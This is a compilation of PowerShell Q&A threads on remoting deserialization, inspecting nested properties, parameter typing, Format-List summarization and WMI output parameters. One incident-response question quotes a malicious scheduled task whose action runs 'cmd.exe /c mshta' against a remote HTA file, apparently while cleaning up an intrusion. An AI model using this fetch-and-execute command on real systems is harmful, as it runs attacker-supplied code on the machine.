-ExpandProperty doesn't show all the properties via Remote PowerShell - powershell

When I run the following code in Exchange PowerShell on an Exchange server it shows all the properties:
PS> Get-Mailbox Testeria | select -ExpandProperty EmailAddresses
SmtpAddress : Tester_IA#contoso.com
AddressString : Tester_IA#contoso.com
ProxyAddressString : smtp:Tester_IA#contoso.com
Prefix : SMTP
IsPrimaryAddress : False
PrefixString : smtp
SmtpAddress : TesterIA#contoso.com
AddressString : TesterIA#contoso.com
ProxyAddressString : SMTP:TesterIA#contoso.com
Prefix : SMTP
IsPrimaryAddress : True
PrefixString : SMTP
SmtpAddress : TesterIA#outlook.contoso.com
AddressString : TesterIA#outlook.contoso.com
ProxyAddressString : smtp:TesterIA#outlook.contoso.com
Prefix : SMTP
IsPrimaryAddress : False
PrefixString : smtp
But when I try to use Remote PowerShell on the local machine via
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri ("http://" + $Server + "/PowerShell/") -Authentication Kerberos
Import-PSSession $Session
and run the same code it show only this:
PS> Get-Mailbox Testeria | select -ExpandProperty EmailAddresses
smtp:Tester_IA#contoso.com
SMTP:TesterIA#contoso.com
smtp:TesterIA#outlook.contoso.com
How to understand this behaviour? How to get all the properties via Remote PowerShell?
PSVersion on the local machine is 5.1.14409.1005
PSVersion on the Exchange Server is 4.0

This probably occurs because when you access objects via PSRemoting the results are deserialized. You can see this is the case by looking at the TypeName of the resulting object by pipling it to Get-Member. You will see Deserialized prefixed to the Type:
Objects that have the "Deserialized." prefix in their type names are property bags that contain a deserialized representation of public
properties of the corresponding remote, live objects. As you can see
in the output of Get-Member those property bags don’t expose any
methods except ToString(), because usually methods cannot be invoked
in the remote session (for example, System.Diagnostics.Process.Kill()
can’t act on a remote process). Similarly setting and getting property
values of the property bags doesn’t execute any code (for example
WorkingSet property of
Deserialized.System.Diagnostics.Process.WorkingSet is only a snapshot
and doesn’t get updated when the remote process uses more memory).
https://blogs.msdn.microsoft.com/powershell/2010/01/07/how-objects-are-sent-to-and-from-remote-sessions/
My assumption is that the EmailAddresses property is a Script Property, which means it executes a script when called to get its sub properties. When you retrieve the object via Remoting you lose the ability to execute this script.
Unfortunately I don't have an Exchange system to verify this on at the moment.

Mark Wragg's answer provides helpful pointers, but let me elaborate:
Objects transmitted via PowerShell's remoting infrastructure undergo XML-based serialization at the remote source, and deserialization on receipt by the caller.
With the exception of a select few well-known types, type fidelity is lost during serialization / deserialization, and the deserialized objects are emulations of the original objects, as indicated by the Deserialized. prefix in their type name (as you can see by accessing .pstypenames[0] on a deserialized instance of by piping it to Get-Member); specifically, the limitation of these emulations - beyond not having the same type identity as the originals - are:
Deserialized objects lack the methods of the original.
For nested (scalar) objects (objects composed of multiple properties whose values too are objects composed of multiple properties, ...), the object graph is limited to a depth of 1.
In practice, this means that instances of non-well-known (scalar) types serialize such that property values that aren't themselves instances of well-known types are replaced by their .ToString() representations.
See this answer for a more comprehensive overview of serialization as part of PowerShell's remoting infrastructure.
Applied to your case:
Via remoting, the collection of rich email-object instances originally contained in the .EmailAddresses property of the objects returned by the Get-MailBox cmdlet is converted to a collection of strings, by calling .ToString() on each email-object instance, which seemingly returns the .ProxyAddressString property value.
Example:
For simplicity, the following demonstrates the recursion-depth (stringification) problem via a local background job created with Start-Job call (background jobs also use PowerShell's remoting infrastructure):
PS> Start-Job {
# Define a custom class, which is by definition not a well-known type.
# Give it a property of another non-well-known type, [regex].
class Foo { $Bar = [regex] 'hi' }
# Output an instance of the custom class.
[Foo]::new()
} | Receive-Job -Wait -AutoRemove |
ForEach-Object {
$_.Bar # Output the .Bar property value...
$_.Bar.GetType().FullName # ... and its data type.
}
hi
System.String
As you can see, the [regex] instance stored in property .Bar was replaced by its .ToString() representation.

Related

Drill-down further in Get-Member within PowerShell

I'm trying hard to learn PowerShell on my own and I'm asking this question after searching a lot on the Internet.
Get-ScheduledTask | Get-Member
The above command shows me the Properties and Methods. Now I want to further drill down into "Actions" but the maximum I'm able to is,
Get-ScheduledTask | Get-Member -Name Actions
Name MemberType Definition
---- ---------- ----------
Actions Property CimInstance#InstanceArray Actions {get;set;}
Ideally, if I want to peek into "Actions" I have to do this,
Get-ScheduledTask -TaskName "WindowsShellUpdate" | Select -ExpandProperty Actions
Id :
Arguments : /c mshta http://xx.xx.xx.xx/win/update.hta
Execute : C:\Windows\System32\cmd.exe
WorkingDirectory :
PSComputerName :
Side note, I do IR. And I'm building a script to very carefully automate the removal of bad Tasks.
:(
Get-Member performs reflection: its reports information about .NET types (classes) and their members (properties, methods, events, delegates) in the abstract.
This means that property values of the given instance of a type in the input are not included.
Also, Get-Member is not recursive: it only lists the member definitions of the type itself, not also the members' members.
As such, if the intent was to see the members of the types of the elements of the collection of type CimInstance#InstanceArray contained in the .Actions property, use the command suggested by zett42:
# Get information about the type [of the elements] stored in the .Actions property.
(Get-ScheduledTask).Actions | Get-Member
Note:
Since sending a collection (array) through the pipeline enumerates it - i.e. sends its elements, one by one, providing a collection to Get-Member via the pipeline returns information about the distinct types of that collection's elements.
To inspect a collection type itself, you must pass it to the InputObject parameter:
# Get information about the *collection type* stored in the .Actions property.
Get-Member -InputObject (Get-ScheduledTask).Actions
However, there is an - informal[1] - way to get a recursive representation of the structure of any given object instance, which even includes property values, namely via the Format-Custom cmdlet:
# See sample output below
Get-ScheduledTask | Select-Object -First 1 | Format-Custom
Note:
The recursion depth is limited to 5 by default, but you can increase or decrease it via the -Depth parameter.
As you can see below, the output from a deeply nested object can be lengthy.
Collection property values are enumerated up to 4 elements by default, but you can change that via the $FormatEnumerationLimit preference variable - see this answer for details.
Output of the above command (excerpt):
class CimInstance#Root/Microsoft/Windows/TaskScheduler/MSFT_ScheduledTask
{
Actions =
[
class CimInstance#Root/Microsoft/Windows/TaskScheduler/MSFT_TaskExecAction
{
Id =
Arguments = --scheduledautoupdate $(Arg0)
Execute = C:\Users\jdoe\AppData\Local\Programs\Opera\launcher.exe
WorkingDirectory =
PSComputerName =
}
]
Author = MKW10\jdoe
Date =
Description = Keeps Opera up to date.
Documentation =
Principal =
class CimInstance#Root/Microsoft/Windows/TaskScheduler/MSFT_TaskPrincipal2
{
DisplayName =
GroupId =
Id = Author
LogonType = Interactive
RunLevel = Highest
UserId = jdoe
ProcessTokenSidType = Default
RequiredPrivilege =
PSComputerName =
}
...
[1] As with all Format-* cmdlets, Format-Custom outputs a rich string representation for the human observer, not for programmatic processing.
Actions is just a collection of another object extracted from WMI (CimInstance). When you define a Scheduled Task with PowerShell, you can in order:
Define a Principal: New-ScheduledTaskPrincipal
Define Task settings: New-ScheduledTaskSettingsSet
Define some Triggers: New-ScheduledTaskTrigger
Define some Actions: New-ScheduledTaskAction
Then create a task with these parameters:
New-ScheduledTask
And finally register the task:
Register-ScheduledTask
There are some advanced properties that may be accessible, by example on triggers of a task that can only be set once the task is created.
(Get-ScheduledTask)[0].Triggers[0].Repetition.Duration and then once defined you update the task with Set-ScheduledTask
All these cmdlets just hide the complexity of WMI class instances.

How to accept either a "live" object or a deserialized object of the same type in a param block? [duplicate]

This question already has an answer here:
Can a PowerShell function handle multiple input types?
(1 answer)
Closed 1 year ago.
I have a script that deals with Active Directory User objects (Microsoft.ActiveDirectory.Management.ADUser). I explicitly list the type in the function that processes these objects:
function Write-ADUser {
param (
[Microsoft.ActiveDirectory.Management.ADUser]$user
)
(...)
I also want this function to be able to take objects from remote sessions. The challenge is that objects returned from remote sessions are of the deserialized variety:
C:\> icm -session $sess { get-aduser -identity testuser -credential $cred } | gm
TypeName: Deserialized.Microsoft.ActiveDirectory.Management.ADUser
Is there a way to have my function param block accept either the "live" object or the deserialized variant? My function doesn't need to use methods - the deserialized variant has (or can be made to have) what I need.
The parameter sets idea was interesting and a helpful lead. After reviewing the documentation, this is the best option I could come up with:
function Write-ADUser {
[CmdletBinding()]
param (
[Parameter(Mandatory=$true, Position=0, ValueFromPipeline=$true)]
[ValidateScript({
if ($_.GetType().Name -notin #('ADUser', 'PSObject')) {
throw ("Error: Invalid type ````{0}'' - expecting ADUser.") -f $_.GetType().Name
} else {
$true
}
})]
$user
)
...
One other comment. When looking into parameter sets I kept getting an error about ADUser. However, upon further digging I believe that error is because the Microsoft Active Directory PowerShell module isn't installed on my test computer. Therefore, the 'ADUser' type isn't defined. Because I want this script to run on computers that don't necessarily have the ADModule I am using the above logic. However, if I could guarantee that ADModule was present then I think parameter sets would be the way to go.
Apologies for not providing clearer requirements. I'm still learning PowerShell...
Note - updated based on feedback from #zett42

Powershell enumerate properties of properties

I have a commandlet that gathers information from a device register:
PS C:\windows\system32> Get-PSDevice serverA
HostName: ServerA
OOB:
Criticality: Normal
IsVirtual: True
etc
Some of these have an array of 'sub properties' inside, for example:
Cluster : #{Url=https://ps-apps.com/DeviceRegister/api/Clusters/62; VCenterUrl=https://ps-apps.com/DeviceRegister/api/VCenters/2; ClusterId=62; VCenterId=2; Name=Vcenter 1 ABC Prod;
DataCenterUrl=https://ps-apps.com/DeviceRegister/api/DataCenters/3; DataCenter=; IsValidated=True; IsExceptionCluster=False; SupportsProdWorkloads=False; SupportsNonProdWorkloads=False; SupportsSqlWorkloads=False;
ManagedByabc=False}
I can get whatever property within the aray I want using something like:
(Get-PSDevice ServerA).cluster.name
I'm trying to determine a way to enumerate all of the sub properties using a foreach type statement to populate a value.
What would be the best way to achieve this?
Every object in PowerShell has a hidden .PSObject property which tells you things about the object. One of its properties is a .Properties property (as PetSerAl points out, it's not a property but in fact a MemberSet, though you access it with property semantics).
(Get-PSDevice ServerA).cluster.PSObject.Properties
That would return [PSProperty] objects that show you the information about the properties (the name, value, type, whether it's gettable and settable, etc.).

How can I summarize an object the same way Format-List does?

For example, looking at a processes threads shows something like this:
PS C:\> (Get-Process)[0] | Format-List -Property Threads
Threads : {1548, 1600, 15940, 13996}
But if you actually grab that property directly, it looks like this:
PS C:\> (Get-Process)[0].Threads
BasePriority : 8
CurrentPriority : 9
Id : 1548
IdealProcessor :
PriorityBoostEnabled :
PriorityLevel :
PrivilegedProcessorTime :
StartAddress : 8790537024736
StartTime :
ThreadState : Wait
TotalProcessorTime :
UserProcessorTime :
WaitReason : UserRequest
ProcessorAffinity :
Site :
Container :
BasePriority : 8
... etc
Format list obviously has a method to summarize objects intelligently. It took a list of objects, pulled out a representative property from each one, and displayed it as a short array. I cannot find a method or cmdlet that allows me to summarize an collection of objects in the same manner.
I want to be able to pass an arbitrary collection of objects to a method and have it summarize. This is used when listing email addresses in Exchange objects, listing groups in AD objects, and many other places... I doubt these are all special cases.
To expand (after learning more from #JoelSmith's comments):
.NET Objects have formatting definitions that are used by Powershell when formatting output. Additional details are available using help about_Format.ps1xml[1]. These definitions are generic and can be accessed by any command, but by default there are no functions in Powershell to directly retrieve the output of an object property directly as it would be displayed in Format-List.
One hackish workaround is to split and strip the output like so:
(Get-Mailbox user | Format-List -Property Languages | Out-String).Split(':')[1].Trim()
# => {en-US,fr-CA}
However this method is extremely fragile, and will fail when the output spans multiple lines or contains a colon in the output:
(Get-Mailbox user | Format-List -Property EmailAddresses | Out-String).Split(':')[1].Trim()
# => {smtp
What is needed is a method that reads the formatting definition defined for the object and retrieves it directly, then use it to output the desired string. I have failed to find any example online.
You can use the
PSStandardMembers.DefaultDisplayProperty
and
PSStandardMembers.DefaultDisplayPropertySet
properties of your objects to determine the default properties that should be displayed for each type. You can read more about it here. We've run into a similar problem recently in our like PowerShell project. You can find this discussion we've had helpful. There are some subtle differences between PS v2 and v3 which we debate on that thread.
Usually .ToString() works but sometimes they forget to implement that method.
(Get-Process)[0] | %{$_.Threads.Id}
EDIT: to answer your comment below
(Get-Process)[0] | Format-List -Property Threads | Out-String
Unfortunately not all cmdlets are the same.
Are you looking for something like this?
(Get-Process)[0].Threads | Format-Table -Property ID -AutoSize
Id
--
13060
13064
13068
13072
13076
13080
13084
This needs to be customized for each cmdlet depending on what the output is and what fields you need. The reason it doesn't work with just (Get-Process)[0] | Format-Table -Property Threads -AutoSize is because Threads returns thread-objects, and an array of objects are displayed like your first sample (string-presentation of your objects in a collection { .. }) .
Here's what I can tell so far:
The Id property is the default display property for a thread object (System.Diagnostics.ProcessThread).
I couldn't find any tracks of this in any of PowerShell's type files but I can change the way Format-* display threads (requires PowerShell 3.0).
By default the format cmdlets prints the Id value of each thread object:
Threads : {1548, 1600, 15940, 13996}
Formatting cmdlets checks the value of the $FormatEnumerationLimit variable (default is 4) to decide how to format the object.
If the result is one object (scalar) only it will print as:
Threads : 1548
If it's a collection of items and the collection count is up to the value of $FormatEnumerationLimit (4) it will display as:
Threads : {1548, 1600, 15940, 13996}
A count greater than $FormatEnumerationLimit will look like (... indicates that there are more objects):
Threads : {1548, 1600, 15940, 13996...}
I can tell Id is the default property in use because I can change it to another property and see its value reflecting in the output.
For example, Here I'm setting the ThreadState as the default display property:
PS> Update-TypeData -TypeName System.Diagnostics.ProcessThread -DefaultDisplayProperty ThreadState -Force
PS> (Get-Process)[0] | Format-List -Property Threads
Threads : {Wait, Wait, Wait, Wait...}
# revert back
PS> Update-TypeData -TypeName System.Diagnostics.ProcessThread -DefaultDisplayProperty Id -Force
Hope that helps

How to call a method with output parameters in PowerShell?

I'm working on a script to get started in PowerShell. I'm trying to convert a working VBScript script that enumerates mapped network drives on a remote Windows computer.
One of the tasks is to use remote WMI to read the registry and find the process owner of explorer.exe in order to determine who is logged in. This seems easy enough going by this guide.
However, the WMI method I need to call is GetOwner() from Win32_Process, which requires two output parameters to store its return value.
How can I call a method with output parameters? When I try to give it two strings, I get the error: Cannot find an overload for "GetOwner" and the argument count: "2".. The MSDN page says there are two parameters, so I'm not sure what I'm doing wrong.
Using the [ref] modifier:
SomeMethod( [ref] $a );
Notable blog entries
http://geekswithblogs.net/Lance/archive/2009/01/14/pass-by-reference-parameters-in-powershell.aspx
http://weblogs.asp.net/soever/archive/2009/03/26/powershell-return-values-from-a-function-through-reference-parameters.aspx
$explorer = gwmi Win32_Process -computerName computerName -filter "Name='explorer.exe' and SessionID=0"
$explorer.GetOwner() | select user,domain